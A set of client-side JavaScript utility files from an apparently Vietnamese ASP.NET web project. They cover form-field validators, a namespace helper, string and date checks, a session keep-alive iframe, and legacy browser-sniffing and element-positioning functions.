NTTHAO.util.getElement(objValidate.ctrlToDisplayMessage).style.display = "inline";
if (validateResult) {
NTTHAO.util.getElement(objValidate.ctrlToValidate).focus();
NTTHAO.util.getElement(objValidate.ctrlToValidate).select()
}
validateResult = false;
}
} catch (ex) {
}
}
return validateResult;
}
NTTHAO.formValidator.validate = function(form, input, validate, func) {
try {
form.onsubmit = NTTHAO.formValidator.onFormSubmit;
var ctrlToDisplayMessage = NTTHAO.util.getElement(validate);
ctrlToDisplayMessage.style.visibility = "hidden";
var obj = {};
obj.ctrlToValidate = input;
obj.ctrlToDisplayMessage = validate;
obj.validateFunction = func;
NTTHAO.formValidator.validatorList[NTTHAO.formValidator.validatorList.length] = obj;
} catch (ex) {}
}
| JavaScript |
if (typeof NTTHAO == "undefined" || !NTTHAO) {
/**
* The NTTHAO global namespace object. If NTTHAO is already defined, the
* existing NTTHAO object will not be overwritten so that defined
* namespaces are preserved.
* @class NTTHAO
* @static
*/
var NTTHAO = {};
}
/**
* Returns the namespace specified and creates it if it doesn't exist
* <pre>
* NTTHAO.namespace("property.package");
* NTTHAO.namespace("NTTHAO.property.package");
* </pre>
* Either of the above would create NTTHAO.property, then
* NTTHAO.property.package
*
* Be careful when naming packages. Reserved words may work in some browsers
* and not others. For instance, the following will fail in Safari:
* <pre>
* NTTHAO.namespace("really.long.nested.namespace");
* </pre>
* This fails because "long" is a future reserved word in ECMAScript
*
* @method namespace
* @static
* @param {String*} arguments 1-n namespaces to create
* @return {Object} A reference to the last namespace object created
*/
NTTHAO.namespace = function() {
var a=arguments, o=null, i, j, d;
for (i=0; i<a.length; i=i+1) {
d=a[i].split(".");
o=NTTHAO;
// NTTHAO is implied, so it is ignored if it is included
for (j=(d[0] == "NTTHAO") ? 1 : 0; j<d.length; j=j+1) {
o[d[j]]=o[d[j]] || {};
o=o[d[j]];
}
}
return o;
};
/**
* namespace NTTHAO.util
*/
NTTHAO.namespace('util');
NTTHAO.util.getElement = function(el) {
if(!YAHOO.lang.isObject(el)) {
return document.getElementById(el);
}
return el;
}
NTTHAO.util.getAbsoluteXY = function(el) {
if(!YAHOO.lang.isObject(el)) {
el = document.getElementById(el);
}
if(el == null) {
return null;
}
var yPos = el.offsetTop;
var xPos = el.offsetLeft;
var tempEl = el.offsetParent;
while (tempEl != null) {
xPos += tempEl.offsetLeft;
yPos += tempEl.offsetTop;
tempEl = tempEl.offsetParent;
}
return [xPos, yPos];
}
NTTHAO.util.isImageFile = function(filename) {
var fileEx = (/[.]/.exec(filename)) ? /[^.]+$/.exec(filename)[0] : null;
return (fileEx != null) && (".jpg .jpeg .jpe .png .gif .bmp ".indexOf('.'+fileEx.toLowerCase()+' ') >= 0);
} | JavaScript |
function keepSessionAlive() {
var oFrame=document.createElement("iframe");
oFrame.setAttribute('height', '0');
oFrame.setAttribute('width', '0');
oFrame.setAttribute('src', '/admin/RefreshSessionState.aspx');
oFrame.setAttribute('frameborder', '0');
document.body.appendChild(oFrame);
}
window.onload=keepSessionAlive; | JavaScript |
/*
Copyright (c) 2008, ThaoNguyen. All rights reserved.
*/
/**
* The NTTHAO validator is a generic validator.
* @module validator
* @namespace NTTHAO.validator
*/
NTTHAO.validator = NTTHAO.validator || { };
//NTTHAO.namespace("validator");
/*
Check input field
@Params:
1. type: name (in string) of validation type
2. formField: control to check
@Return: true or false
@Note: "type" is one of these (case-sensitive):
noblank,
integer,
decimal,
text,
alphanumeric,
full,
alphanum,
verificationcode,
email,
phone,
URL,
path,
image
*/
NTTHAO.validator.checkField = function(type, formField) {
var checkOK;
var checkStr = formField.value;
var allValid = true;
var flagDot = false;
var namestr, domainstr;
if (type == 'noblank')
{
if (checkStr == "")
{
return false;
}
var i = 0;
for(i = 0; i < checkStr.length; i++) {
if ((checkStr.charAt(i) != ' ')
&& (checkStr.charAt(i) != "\t")
&& (checkStr.charAt(i) != "\n")
&&(checkStr.charAt(i) != "\r")) {
break;
}
}
if (i == checkStr.length)
{
return false;
}
}
else
{
if (type == 'integer')
{
checkOK = "0123456789+-";
if(checkStr.length > 0)
{
if (!( /^[-+]?\b\d+\b$/.test(checkStr) ))
{
return false;
}
}
}
else if (type == 'decimal')
{
checkOK = "0123456789.+-";
if(checkStr.length > 0)
{
if (!( /^[-+]?((\b[0-9]+)?\.)?[0-9]+\b$/.test(checkStr) ))
{
return false;
}
}
}
else if (type == 'text')
{
checkOK = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz ";
}
else if (type == 'alphanumeric')
{
checkOK = "0123456789.+-_#,/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz ()_";
}
else if (type == 'full')
{
checkOK = "0123456789.,[]{}=+-_#,/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz ()_:;'\\*^%$@<>?'";
}
else if (type == 'alphanum')
{
checkOK = "0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz ";
}
else if (type == 'verificationcode')
{
checkOK = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
}
else if (type == 'email')
{
checkOK = "0123456789_-@.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
if(checkStr.length > 0)
{
if (!( /^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,7})+$/.test(checkStr) ))
{
return false;
}
}
}
else if (type == 'phone')
{
checkOK = "0123456789-+";
}
else if (type == 'URL')
{
//checkOK = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789.:/\\";
var RegExp = /^(http|https|ftp)\:\/\/([a-zA-Z0-9\.\-]+(\:[a-zA-Z0-9\.&%\$\-]+)*@)*((25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9])\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[0-9])|([a-zA-Z0-9\-]+\.)*[a-zA-Z0-9\-]+\.(com|edu|gov|int|mil|net|org|biz|arpa|info|name|pro|aero|coop|museum|[a-zA-Z]{2}))(\:[0-9]+)*(\/($|[a-zA-Z0-9\.\,\?\'\\\+&%\$#\=~_\-]+))*$/i;
if(RegExp.test(checkStr)){
return "";
}else{
return (strMsg + String.fromCharCode(10));
}
}
else if (type == 'path')
{
checkOK = "0123456789.+-_#,/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz () \\ ";
}
else if (type == 'image')
{
if (checkStr == "")
return true;
if (checkStr.lastIndexOf('.') < 0)
return false;
var imgEx = checkStr.substring(checkStr.lastIndexOf('.')).toLowerCase();
return (
(imgEx == '.png')
|| (imgEx == '.jpg')
|| (imgEx == '.jpeg')
|| (imgEx == '.jpe')
|| (imgEx == '.gif')
|| (imgEx == '.bmp')
|| (imgEx == '.tiff')
);
}
else
{
return false;// "Check Validation one of the mentioned validation type is wrong";
}
for (i = 0; i < checkStr.length; i++)
{
ch = checkStr.charAt(i);
for (j = 0; j < checkOK.length; j++)
{
if (ch == checkOK.charAt(j))
{
break;
}
if (j == checkOK.length-1)
{
allValid = false;
break;
}
}
if (!allValid)
{
return false;
}
}
if (type == 'decimal') {/* for decimal type */
for (t = 0; t < checkStr.length; t++)
{
dot = checkStr.charAt(t);
if (dot == '.' && flagDot == false)
{
flagDot = true;
}
else if (dot =='.' && flagDot == true)
{
return false;
}
}
}
}
return true;
}
NTTHAO.validator.validate = function(val, args, type) {
if(val) {
var ctrlToValidate = document.all ? document.all[val.controltovalidate] : document.getElementById(val.controltovalidate);
if(args)
args.IsValid = NTTHAO.validator.checkField(type, ctrlToValidate);
}
}
NTTHAO.validator.validateWithNoBlank = function(val, args, type) {
NTTHAO.validator.validate(val, args, 'noblank');
if(args.IsValid) {
NTTHAO.validator.validate(val, args, type);
}
}
NTTHAO.validator.sameAs = function(val, args) {
if(val) {
var ctrlToValidate = document.all ? document.all[val.controltovalidate] : document.getElementById(val.controltovalidate);
var ctrlSameAs = document.getElementById(ctrlToValidate.getAttribute('sameas'));
if(args && ctrlSameAs) {
args.IsValid = (ctrlToValidate.value == ctrlSameAs.value);
}
}
}
NTTHAO.validator.minMaxLengthRequired = function(val, args) {
if(val) {
var ctrlToValidate = document.all ? document.all[val.controltovalidate] : document.getElementById(val.controltovalidate);
var minlength = ctrlToValidate.getAttribute('minlength');
var maxlength = ctrlToValidate.getAttribute('maxlength');
if(args && minlength && maxlength) {
try{
minlength = parseInt(minlength, 10);
maxlength = parseInt(maxlength, 10);
var valueLength = ctrlToValidate.value.trim().length;
args.IsValid = ((valueLength >= minlength) && (valueLength <= maxlength));
}catch(o){}
}
}
}
NTTHAO.validator.noBlank = function(val, args) {
NTTHAO.validator.validate(val, args, 'noblank');
}
NTTHAO.validator.isInteger = function(val, args) {
NTTHAO.validator.validate(val, args, 'integer');
}
NTTHAO.validator.isPositiveInteger = function(val, args) {
NTTHAO.validator.validate(val, args, 'integer');
if (args.IsValid) {
var ctrlToValidate = document.all ? document.all[val.controltovalidate] : document.getElementById(val.controltovalidate);
if (NTTHAO.validator.checkField('noblank', ctrlToValidate)) {
args.IsValid = (parseInt(ctrlToValidate.value, 10) > 0);
}
}
}
NTTHAO.validator.isNegativeInteger = function(val, args) {
NTTHAO.validator.validate(val, args, 'integer');
if (args.IsValid) {
var ctrlToValidate = document.all ? document.all[val.controltovalidate] : document.getElementById(val.controltovalidate);
if (NTTHAO.validator.checkField('noblank', ctrlToValidate)) {
args.IsValid = (parseInt(ctrlToValidate.value, 10) < 0);
}
}
}
NTTHAO.validator.isNaturalNumber = function(val, args) {
NTTHAO.validator.validate(val, args, 'integer');
if (args.IsValid) {
var ctrlToValidate = document.all ? document.all[val.controltovalidate] : document.getElementById(val.controltovalidate);
if (NTTHAO.validator.checkField('noblank', ctrlToValidate)) {
args.IsValid = (parseInt(ctrlToValidate.value, 10) >= 0);
}
}
}
NTTHAO.validator.isNaturalNumberVN = function(val, args) {
var ctrlToValidate = document.all ? document.all[val.controltovalidate] : document.getElementById(val.controltovalidate);
var rawValue = ctrlToValidate.value;
ctrlToValidate.value = ctrlToValidate.value.replace(/\./gi, '').replace(/,/gi, '.');
NTTHAO.validator.validate(val, args, 'integer');
if (args.IsValid) {
if (NTTHAO.validator.checkField('noblank', ctrlToValidate)) {
args.IsValid = (parseInt(ctrlToValidate.value, 10) >= 0);
}
}
ctrlToValidate.value = rawValue;
}
NTTHAO.validator.isDecimal = function(val, args) {
NTTHAO.validator.validate(val, args, 'decimal');
}
NTTHAO.validator.isPositiveDecimal = function(val, args) {
NTTHAO.validator.validate(val, args, 'decimal');
if (args.IsValid) {
var ctrlToValidate = document.all ? document.all[val.controltovalidate] : document.getElementById(val.controltovalidate);
if (NTTHAO.validator.checkField('noblank', ctrlToValidate)) {
args.IsValid = (parseFloat(ctrlToValidate.value) > 0);
}
}
}
NTTHAO.validator.isNegativeDecimal = function(val, args) {
NTTHAO.validator.validate(val, args, 'decimal');
if (args.IsValid) {
var ctrlToValidate = document.all ? document.all[val.controltovalidate] : document.getElementById(val.controltovalidate);
if (NTTHAO.validator.checkField('noblank', ctrlToValidate)) {
args.IsValid = (parseFloat(ctrlToValidate.value) < 0);
}
}
}
NTTHAO.validator.isText = function(val, args) {
NTTHAO.validator.validate(val, args, 'text');
}
NTTHAO.validator.isAlphanumeric = function(val, args) {
NTTHAO.validator.validate(val, args, 'alphanumeric');
}
NTTHAO.validator.isAlphanum = function(val, args) {
NTTHAO.validator.validate(val, args, 'alphanum');
}
NTTHAO.validator.isVerificationCode = function(val, args) {
NTTHAO.validator.validate(val, args, 'verificationcode');
}
NTTHAO.validator.isEmail = function(val, args) {
NTTHAO.validator.validate(val, args, 'email');
}
NTTHAO.validator.isPhone = function(val, args) {
NTTHAO.validator.validate(val, args, 'phone');
}
NTTHAO.validator.isURL = function(val, args) {
NTTHAO.validator.validate(val, args, 'URL');
}
NTTHAO.validator.isPath = function(val, args) {
NTTHAO.validator.validate(val, args, 'path');
}
NTTHAO.validator.isImageFile = function(val, args) {
NTTHAO.validator.validate(val, args, 'image');
}
NTTHAO.validator.isIntegerRequired = function(val, args) {
NTTHAO.validator.validateWithNoBlank(val, args, 'integer');
}
NTTHAO.validator.isPositiveIntegerRequired = function(val, args) {
NTTHAO.validator.validateWithNoBlank(val, args, 'integer');
if (args.IsValid) {
var ctrlToValidate = document.all ? document.all[val.controltovalidate] : document.getElementById(val.controltovalidate);
args.IsValid = (parseInt(ctrlToValidate.value, 10) > 0);
}
}
NTTHAO.validator.isNegativeIntegerRequired = function(val, args) {
NTTHAO.validator.validateWithNoBlank(val, args, 'integer');
if (args.IsValid) {
var ctrlToValidate = document.all ? document.all[val.controltovalidate] : document.getElementById(val.controltovalidate);
args.IsValid = (parseInt(ctrlToValidate.value, 10) < 0);
}
}
NTTHAO.validator.isNaturalNumberRequired = function(val, args) {
NTTHAO.validator.validateWithNoBlank(val, args, 'integer');
if (args.IsValid) {
var ctrlToValidate = document.all ? document.all[val.controltovalidate] : document.getElementById(val.controltovalidate);
args.IsValid = (parseInt(ctrlToValidate.value, 10) >= 0);
}
}
NTTHAO.validator.isNaturalNumberVNRequired = function(val, args) {
var ctrlToValidate = document.all ? document.all[val.controltovalidate] : document.getElementById(val.controltovalidate);
var rawValue = ctrlToValidate.value;
ctrlToValidate.value = ctrlToValidate.value.replace(/\./gi, '').replace(/,/gi, '.');
NTTHAO.validator.validateWithNoBlank(val, args, 'integer');
if (args.IsValid) {
args.IsValid = (parseInt(ctrlToValidate.value, 10) >= 0);
}
ctrlToValidate.value = rawValue;
}
NTTHAO.validator.isDecimalRequired = function(val, args) {
NTTHAO.validator.validateWithNoBlank(val, args, 'decimal');
}
NTTHAO.validator.isPositiveDecimalRequired = function(val, args) {
NTTHAO.validator.validateWithNoBlank(val, args, 'decimal');
if (args.IsValid) {
var ctrlToValidate = document.all ? document.all[val.controltovalidate] : document.getElementById(val.controltovalidate);
args.IsValid = (parseFloat(ctrlToValidate.value) > 0);
}
}
NTTHAO.validator.isNegativeDecimalRequired = function(val, args) {
NTTHAO.validator.validateWithNoBlank(val, args, 'decimal');
if (args.IsValid) {
var ctrlToValidate = document.all ? document.all[val.controltovalidate] : document.getElementById(val.controltovalidate);
args.IsValid = (parseFloat(ctrlToValidate.value) < 0);
}
}
NTTHAO.validator.isTextRequired = function(val, args) {
NTTHAO.validator.validateWithNoBlank(val, args, 'text');
}
NTTHAO.validator.isAlphanumericRequired = function(val, args) {
NTTHAO.validator.validateWithNoBlank(val, args, 'alphanumeric');
}
NTTHAO.validator.isAlphanumRequired = function(val, args) {
NTTHAO.validator.validateWithNoBlank(val, args, 'alphanum');
}
NTTHAO.validator.isVerificationCodeRequired = function(val, args) {
NTTHAO.validator.validateWithNoBlank(val, args, 'verificationcode');
}
NTTHAO.validator.isEmailRequired = function(val, args) {
NTTHAO.validator.validateWithNoBlank(val, args, 'email');
}
NTTHAO.validator.isPhoneRequired = function(val, args) {
NTTHAO.validator.validateWithNoBlank(val, args, 'phone');
}
NTTHAO.validator.isURLRequired = function(val, args) {
NTTHAO.validator.validateWithNoBlank(val, args, 'URL');
}
NTTHAO.validator.isPathRequired = function(val, args) {
NTTHAO.validator.validateWithNoBlank(val, args, 'path');
}
NTTHAO.validator.validateMe = function() {
// Clean Up Infragistics Ids
var cleanid = this.id.replace(/^igtxt/i,"");
for (var i = 0; i < Page_Validators.length; i++) {
if (Page_Validators[i].controltovalidate === cleanid) {
ValidatorValidate(Page_Validators[i]);
}
}
} | JavaScript |
///////////////////////////////////////////////////////
// Library for version 1.0
// langxangvn <langxangvn@gmail.com>
///////////////////////////////////////////////////////
/**
* Modifier name: Đặng Anh Vũ <langxangvn@gmail.com>
* Modifier ID 000
* Date 1/4/2007
* Reason bản đầu tiên
*/
/**
* Modifier name: Đặng Anh Vũ <langxangvn@gmail.com>
* Modifier ID 001
* Date 28/4/2007
* Reason Cac ham va chuc nang coordinate
*/
//---------------------------------------
// show/hide table row - langxangvn VinaCyber JSC 10/2006
//---------------------------------------
function showTableRow(idRow, bVisibility)
{
if(navigator.appName.indexOf("Microsoft") > -1)
{
// neu la IE thi visibility la block
var canSee = 'block';
}
else
{
// FF table-row
var canSee = 'table-row';
}
if (document.getElementById && document.createTextNode)
{
var tr = document.getElementById(idRow);
if (tr)
{
if(bVisibility == "true")
{
// block for IE
// table-row for FF
tr.style.display = canSee;
}
else if(bVisibility == "false")
{
tr.style.display = 'none';
}
}
}
}
function isLegal(szCheck, szInvalid)
{
// szInvalid cac ky tu dac biet
for(var i = 0; i < szInvalid.length; i ++)
{
// co ky tu dac biet trong chuoi can check
if(szCheck.indexOf(szInvalid.charAt(i)) >= 0 )
{
return false;
}
}
return true;
}
function LTrim(iStr)
{
if(!iStr)
return iStr;
else
iStr = iStr.toString();
while (iStr.charCodeAt(0) <= 32)
{
iStr = iStr.substr(1);
}
return iStr;
}
function RTrim(iStr)
{
if(!iStr)
return iStr;
else
iStr = iStr.toString();
while (iStr.charCodeAt(iStr.length - 1) <= 32)
{
iStr = iStr.substr(0, iStr.length - 1);
}
return iStr;
}
function Trim(iStr)
{
if(!iStr)
return iStr;
else
iStr = iStr.toString();
while (iStr.charCodeAt(0) <= 32)
{
iStr = iStr.substr(1);
}
while (iStr.charCodeAt(iStr.length - 1) <= 32)
{
iStr = iStr.substr(0, iStr.length - 1);
}
return iStr;
}
function Left(str, n)
{
if(!str)
return str;
else
str = str.toString();
if (n <= 0)
return "";
else if (n > String(str).length)
return str;
else
return String(str).substring(0, n);
}
function Right(str, n)
{
if(!str)
return str;
else
str = str.toString();
if (n <= 0)
return "";
else if (n > String(str).length)
return str;
else
{
var iLen = String(str).length;
return String(str).substring(iLen, iLen - n);
}
}
/*
Author: Matt Kruse <matt@mattkruse.com>
http://www.mattkruse.com/
*/
function isBlank(val) {
if(!val) {
return true;
}
for(var i = 0;i < val.length;i ++) {
if ((val.charAt(i) != ' ')
&& (val.charAt(i) != "\t")
&& (val.charAt(i) != "\n")
&&(val.charAt(i) != "\r")) {
return false;
}
}
return true;
}
function isInteger(val) {
if (isBlank(val)) {
return false;
}
for(var i = 0; i < val.length; i++) {
if(!isDigit(val.charAt(i))) {
return false;
}
}
return true;
}
function isNumeric(val) {
return(parseFloat(val, 10) == (val*1));
}
function isArray(obj) {
return(typeof(obj.length) == "undefined") ? false : true;
}
function isDigit(num) {
if (num.length > 1) {
return false;
}
var string="1234567890";
if (string.indexOf(num) != -1) {
return true;
}
return false;
}
function setNullIfBlank(obj) {
if(isBlank(obj.value)) {
obj.value = "";
}
}
function setFieldsToUpperCase() {
for(var i = 0;i < arguments.length; i++) {
arguments[i].value = arguments[i].value.toUpperCase();
}
}
/* end JavascriptToolbox http://www.mattkruse.com/javascript */
function isLeapYear(year) {
if(!isInteger(year))
return false;
return (year % 4 == 0 && year % 100 != 0) || (year % 400 == 0);
}
function isDate(datestring) {
var regex = /\b(0?[1-9]|[12][0-9]|3[01])[-\/.\\/](0?[1-9]|1[012])[-\/.\\/]((19|20)?[0-9]{2})\b/;
var match = regex.exec(datestring);
if(!match) {
return false;
}
else {
var day = parseInt(match[1]);
var month = parseInt(match[2]);
var year = parseInt(match[3]);
if(year < 100)
year = year + 2000;
if ((month == 4 || month == 6 || month == 9 || month == 11) && day == 31) {
return false;
}
if (month == 2) {
if (day > 29 || (day == 29 && !isLeapYear(year))) {
return false;
}
}
return true;
}
}
function isDateBefore(src, dst) {
var srcDate, dstDate;
var year, month, day;
var regex = /\b(0?[1-9]|[12][0-9]|3[01])[-\/.\\/](0?[1-9]|1[012])[-\/.\\/]((19|20)?[0-9]{2})\b/;
var match = regex.exec(src);
if(!match) {
return -1;
} else {
day = parseInt(match[1]);
month = parseInt(match[2]);
year = parseInt(match[3]);
if(year < 100)
year = year + 2000;
srcDate = new Date(year, month - 1, day);
}
match = regex.exec(dst);
if(!match) {
return -1;
} else {
day = parseInt(match[1]);
month = parseInt(match[2]);
year = parseInt(match[3]);
if(year < 100)
year = year + 2000;
dstDate = new Date(year, month - 1, day);
}
return (srcDate - dstDate) > 0 ? false : true;
}
function getSelectedOptionLabel(objSelect)
{
if(objSelect) {
arOptions = objSelect.getElementsByTagName("option");
for(var i = 0; i < arOptions.length; i++) {
if(arOptions[i].selected) {
return arOptions[i].label;
}
}
}
return '';
}
function getSelectedOptionInnerHTML(objSelect)
{
if(objSelect)
{
arOptions = objSelect.getElementsByTagName("option");
for(var i = 0; i < arOptions.length; i++)
{
if(arOptions[i].selected)
{
return arOptions[i].innerHTML;
}
}
}
return '';
}
function getEnter(field, event)
{
var keyCode = event.keyCode ? event.keyCode : event.which ? event.which : event.charCode;
if (keyCode == 13)
{
return true;
}
else
return false;
}
function getEscape(field, event)
{
var keyCode = event.keyCode ? event.keyCode : event.which ? event.which : event.charCode;
if (keyCode == 27)
{
return true;
}
else
return false;
}
function raiseKeyEvent(keyCode, objTarget)
{
var fireOn = document.getElementById(objTarget);
// Neu co createEvent
if(document.createEvent)
{
// Neu co KeyEvent (FireFox)
if(window.KeyEvent)
{
var evObj = document.createEvent('KeyEvents');
evObj.initKeyEvent('keypress', true, true, window, false, false, false, false, keyCode, 0);
}
// Khong ho tro KeyEvent, dung UIEvent thay the
else
{
var evObj = document.createEvent('UIEvents');
evObj.initUIEvent('keypress', true, true, window, 1);
evObj.keyCode = keyCode;
}
fireOn.dispatchEvent(evObj);
}
// Neu co createEventObject (IE dung fireEvent)
else if(document.createEventObject)
{
var evObj = document.createEventObject();
evObj.ctrlKey = false;
evObj.altKey = false;
evObj.shiftKey = false;
evObj.keyCode = keyCode;
fireOn.fireEvent('onkeypress', evObj);
}
}
function raiseEnterEvent(objTarget)
{
raiseKeyEvent(13, objTarget);
}
var glErrorCount = 0;
var glErrorMsg = new Array();
var glHasFocus = false;
glErrorMsg[0] = "---- The following errors occured ----" + String.fromCharCode(10);
function checkField(type, field, message)
{
var fieldvalue = Trim(field.value);
var bAllValid = true;
var bFlagDot = false;
// Blank error
if (type == 'noblank')
{
if (fieldvalue == "")
{
glErrorCount ++;
glErrorMsg[glErrorCount] = message + String.fromCharCode(10);
if(glHasFocus == false)
{
glHasFocus = true;
field.focus();
}
}
}
// Kiem tra dien chi email
else if(type == 'email')
{
if(!isEmail(fieldvalue))
{
glErrorCount ++;
glErrorMsg[glErrorCount] = message + String.fromCharCode(10);
if(glHasFocus == false)
{
glHasFocus = true;
field.focus();
}
}
}
else if(type == 'username')
{
/* ^(([A-Za-z\d][A-Za-z\d_]+[a-zA-Z\d])|([a-zA-Z\d]+))$ */
// neu co underscore thi khong nam dau hay cuoi username
if (!fieldvalue.match(/^(([A-Za-z\d][A-Za-z\d_]+[a-zA-Z\d])|([a-zA-Z\d]+))$/))
{
glErrorCount ++;
glErrorMsg[glErrorCount] = message + String.fromCharCode(10);
if(glHasFocus == false)
{
glHasFocus = true;
field.focus();
}
}
}
else if(type == 'captcha')
{
/* ^[A-Z0-9]{5}$ */
if (!fieldvalue.match(/^[a-zA-Z0-9]{5}$/))
{
glErrorCount ++;
glErrorMsg[glErrorCount] = message + String.fromCharCode(10);
if(glHasFocus == false)
{
glHasFocus = true;
field.focus();
}
}
}
else if(type == 'mobile')
{
/* ^((\(\+?\d{1,3}\))|(\+?\d{1,3}))*[.-\s]?\d{4}[.-\s]?\d+$ */
/* part 1: match (code) (+code) +code code voi code tu 1 den 3 so */
/* co hay khong co phan cach space - hay . */
/* tiep theo 4 chu so */
/* co hay khong co phan cach space - hay . */
if (!fieldvalue.match(/^((\(\+?84\)[\-\.\s]?)|(\+?84[\-\.\s]?)|(0))((9\d{2}[\-\.\s]?\d{6})|(9\d{1}[\-\.\s]?\d{7}))$/))
{
glErrorCount ++;
glErrorMsg[glErrorCount] = message + String.fromCharCode(10);
if(glHasFocus == false)
{
glHasFocus = true;
field.focus();
}
}
}
else if(type == 'phone')
{
if (!fieldvalue.match(/^((\(\d{2,4}\)[\-\.\s]?)|(\d{2,4}[\-\.\s]?))?(\d{3}[\-\.\s]?\d{3,4})$/))
{
glErrorCount ++;
glErrorMsg[glErrorCount] = message + String.fromCharCode(10);
if(glHasFocus == false)
{
glHasFocus = true;
field.focus();
}
}
}
else
{
}
}
function isEmail(email)
{
if(email.match(/^([a-z0-9+_]|\-|\.)+@(([a-z0-9_]|\-)+\.)+[a-z]{2,6}$/))
return true;
return false;
}
/*
Original code from www.yahoo.com
- Netscape Navigator 4.x (ns4): The most important test - NS4 does
almost everything differently to the other browsers.
- Opera 5 (op5): Opera 5 lacks some of the functions that other browsers have.
These include not being able to change an elements background colour and style class.
Opera 5 also chokes when sizes and co-ordinates are set using the "px" suffix.
- Opera 6 (op6): Opera 6 only lacks the ability to change an elements style class.
- MSIE on the Mac (mac_ie): The problem with MSIE on the Mac is when you try to get
the top co-ordinate of a table cell element. It incorrectly returns the top co-ordinate
of the table element, not the table cell. To get round this, you have to base positioning
on table row elements instead. Konqueror on Linux seems to have the opposite problem which adds to the fun.
*/
function sniffBrowsers() {
d = document;
this.agt = navigator.userAgent.toLowerCase();
this.major = parseInt(navigator.appVersion);
this.dom = (d.getElementById) ? 1 : 0; // true for ie6, ns6
this.ns = (d.layers);
this.ns4up = (this.ns && this.major >= 4);
this.ns6 = (this.dom&&navigator.appName == "Netscape");
this.op = (window.opera ? 1 : 0);
this.op5 = (navigator.userAgent.indexOf("Opera 5") != -1) || (navigator.userAgent.indexOf("Opera/5") != -1);
this.op6 = (navigator.userAgent.indexOf("Opera 6") != -1) || (navigator.userAgent.indexOf("Opera/6") != -1);
this.ie = (d.all);
this.ie4 = (d.all && !this.dom) ? 1 : 0;
this.ie4up = (this.ie && this.major >= 4);
this.ie5 = (d.all && this.dom);
this.win = ((this.agt.indexOf("win") != -1) || (this.agt.indexOf("16bit") != -1));
this.mac = (this.agt.indexOf("mac") != -1);
}
var objBrowser = new sniffBrowsers();
/* end determine browser */
function getStyleObject(objectId) {
if(document.getElementById && document.getElementById(objectId)) {
return document.getElementById(objectId).style;
} else if (document.all && document.all(objectId)) {
return document.all(objectId).style;
} else if (document.layers && document.layers[objectId]) {
return getObjNN4(document,objectId);
} else {
return false;
}
}
function changeObjectVisibility(objectId, newVisibility) {
var styleObject = getStyleObject(objectId, document);
if(styleObject) {
styleObject.visibility = newVisibility;
return true;
} else {
return false;
}
}
function findImage(name, doc) {
var i, img;
for (i = 0; i < doc.images.length; i++) {
if (doc.images[i].name == name) {
return doc.images[i];
}
}
for (i = 0; i < doc.layers.length; i++) {
if ((img = findImage(name, doc.layers[i].document)) != null) {
img.container = doc.layers[i];
return img;
}
}
return null;
}
function getImage(name) {
if (document.layers) {
return findImage(name, document);
}
return null;
}
function getObjNN4(obj,name)
{
var x = obj.layers;
var foundLayer;
for (var i=0;i<x.length;i++)
{
if (x[i].id == name)
foundLayer = x[i];
else if (x[i].layers.length)
var tmp = getObjNN4(x[i],name);
if (tmp) foundLayer = tmp;
}
return foundLayer;
}
function getElementHeight(element) {
if (objBrowser.ns4) {
var elem = getObjNN4(document, element);
return elem.clip.height;
} else {
var elem;
if(document.getElementById) {
var elem = document.getElementById(element);
} else if (document.all){
var elem = document.all[element];
}
if (objBrowser.op5) {
xPos = elem.style.pixelHeight;
} else {
xPos = elem.offsetHeight;
}
return xPos;
}
}
function getElementWidth(element) {
if (objBrowser.ns4) {
var elem = getObjNN4(document, element);
return elem.clip.width;
} else {
var elem;
if(document.getElementById) {
var elem = document.getElementById(element);
} else if (document.all){
var elem = document.all[element];
}
if (objBrowser.op5) {
xPos = elem.style.pixelWidth;
} else {
xPos = elem.offsetWidth;
}
return xPos;
}
}
function getElementLeft(element) {
if (objBrowser.ns4) {
var elem = getObjNN4(document, element);
return elem.pageX;
} else {
var elem;
if(document.getElementById) {
var elem = document.getElementById(element);
} else if (document.all){
var elem = document.all[element];
}
xPos = elem.offsetLeft;
tempEl = elem.offsetParent;
while (tempEl != null) {
xPos += tempEl.offsetLeft;
tempEl = tempEl.offsetParent;
}
return xPos;
}
}
function getElementTop(element) {
if (objBrowser.ns4) {
var elem = getObjNN4(document, element);
return elem.pageY;
} else {
if(document.getElementById) {
var elem = document.getElementById(element);
} else if (document.all) {
var elem = document.all[element];
}
yPos = elem.offsetTop;
tempEl = elem.offsetParent;
while (tempEl != null) {
yPos += tempEl.offsetTop;
tempEl = tempEl.offsetParent;
}
return yPos;
}
}
function getImageLeft(myImage) {
var x, obj;
if (document.layers) {
var img = getImage(myImage);
if (img.container != null)
return img.container.pageX + img.x;
else
return img.x;
} else {
return getElementLeft(myImage);
}
return -1;
}
function getImageTop(myImage) {
var y, obj;
if (document.layers) {
var img = getImage(myImage);
if (img.container != null)
return img.container.pageY + img.y;
else
return img.y;
} else {
return getElementTop(myImage);
}
return -1;
}
function getImageWidth(myImage) {
var x, obj;
if (document.layers) {
var img = getImage(myImage);
return img.width;
} else {
return getElementWidth(myImage);
}
return -1;
}
function getImageHeight(myImage) {
var y, obj;
if (document.layers) {
var img = getImage(myImage);
return img.height;
} else {
return getElementHeight(myImage);
}
return -1;
}
function moveXY(myObject, x, y) {
obj = getStyleObject(myObject)
if (objBrowser.ns4) {
obj.top = y;
obj.left = x;
} else {
if (objBrowser.op5) {
obj.pixelTop = y;
obj.pixelLeft = x;
} else {
obj.top = y + 'px';
obj.left = x + 'px';
}
}
}
